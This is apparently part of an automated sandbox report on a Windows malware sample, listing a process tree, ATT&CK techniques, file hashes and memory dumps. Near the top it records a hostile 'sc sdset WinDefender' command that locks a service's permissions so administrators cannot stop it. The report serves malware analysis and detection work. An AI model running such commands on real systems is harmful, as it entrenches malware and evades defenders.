cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
5⤵
- Suspicious use of WriteProcessMemory
PID:3424

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1732

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1008

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:2824

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
MD5
4326312f9b727db3ce640416919b4373

SHA1
462a3b5ba5bcdf4ea32d967ca0f7c90cbc191317

SHA256
57e17fa18d3864f208ee2636681b8ac0142625f0cb7f6929e15b63b350c99703

SHA512
4a5bb0167e2bf6553c3fa8bb6e85d6295be7ec63789a019b6afbe39119c0698e9841969df7d3cf53725ff19a9d796719fca3b94803e07df70d223c6f7af349d5

Download Submit
C:\Windows\rss\csrss.exe
MD5
4326312f9b727db3ce640416919b4373

SHA1
462a3b5ba5bcdf4ea32d967ca0f7c90cbc191317

SHA256
57e17fa18d3864f208ee2636681b8ac0142625f0cb7f6929e15b63b350c99703

SHA512
4a5bb0167e2bf6553c3fa8bb6e85d6295be7ec63789a019b6afbe39119c0698e9841969df7d3cf53725ff19a9d796719fca3b94803e07df70d223c6f7af349d5

Download Submit
C:\Windows\windefender.exe
MD5
6512ae7c9f36206f6433f78296102419

SHA1
abd1312c5727ac2a64ae5add1706d47cd65386eb

SHA256
6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

SHA512
a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

Download Submit
C:\Windows\windefender.exe
MD5
6512ae7c9f36206f6433f78296102419

SHA1
abd1312c5727ac2a64ae5add1706d47cd65386eb

SHA256
6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

SHA512
a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

Download Submit
C:\Windows\windefender.exe
MD5
6512ae7c9f36206f6433f78296102419

SHA1
abd1312c5727ac2a64ae5add1706d47cd65386eb

SHA256
6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

SHA512
a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
MD5
335ee604bc5976ee83b38f3dddfed723

SHA1
2511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac

SHA256
8373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f

SHA512
87ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
MD5
78c581e475d59efdebee2d3f4355f03f

SHA1
fda6c1f77f772afaa1b44a44c1fb29ee07434d10

SHA256
9f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee

SHA512
35ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
memory/648-9-0x0000000000000000-mapping.dmp

Download
memory/1020-27-0x0000000000000000-mapping.dmp

Download
memory/1180-30-0x0000000000000000-mapping.dmp

Download
memory/1196-20-0x0000000000000000-mapping.dmp

Download
memory/1564-41-0x0000000000000000-mapping.dmp

Download
memory/1620-38-0x0000000000000000-mapping.dmp

Download
memory/1620-29-0x0000000000000000-mapping.dmp

Download
memory/1732-51-0x0000000000000000-mapping.dmp

Download
memory/2020-19-0x0000000000000000-mapping.dmp

Download
memory/2060-35-0x0000000000000000-mapping.dmp

Download
memory/2060-26-0x0000000000000000-mapping.dmp

Download
memory/2092-44-0x0000000000000000-mapping.dmp

Download
memory/2092-47-0x0000000000400000-0x0000000000897000-memory.dmp

Filesize
4.6MB

Download
memory/2212-18-0x0000000000000000-mapping.dmp

Download
memory/2296-32-0x0000000000000000-mapping.dmp

Download
memory/2408-11-0x0000000000000000-mapping.dmp

Download
memory/2456-37-0x0000000000000000-mapping.dmp

Download
memory/2456-28-0x0000000000000000-mapping.dmp

Download
memory/2652-13-0x0000000000000000-mapping.dmp

Download
memory/2652-16-0x00000000014B0000-0x00000000014B1000-memory.dmp

Filesize
4KB

Download
memory/2692-39-0x0000000000000000-mapping.dmp

Download
memory/2700-31-0x0000000000000000-mapping.dmp

Download
memory/2700-12-0x0000000000000000-mapping.dmp

Download
memory/2700-40-0x0000000000000000-mapping.dmp

Download
memory/2740-36-0x0000000000000000-mapping.dmp

Download
memory/3048-34-0x0000000000000000-mapping.dmp

Download
memory/3372-8-0x0000000000400000-0x0000000000B16000-memory.dmp

Filesize
7.1MB

Download
memory/3372-7-0x00000000011E0000-0x00000000011E1000-memory.dmp

Filesize
4KB

Download
memory/3372-6-0x0000000000000000-mapping.dmp

Download
memory/3424-50-0x0000000000000000-mapping.dmp

Download
memory/3880-33-0x0000000000000000-mapping.dmp

Download
memory/3912-10-0x0000000000000000-mapping.dmp

Download
memory/4048-0-0x0000000001220000-0x0000000001221000-memory.dmp

Filesize
4KB

Download
memory/4048-1-0x0000000000400000-0x0000000000B16000-memory.dmp

Filesize
7.1MB

Download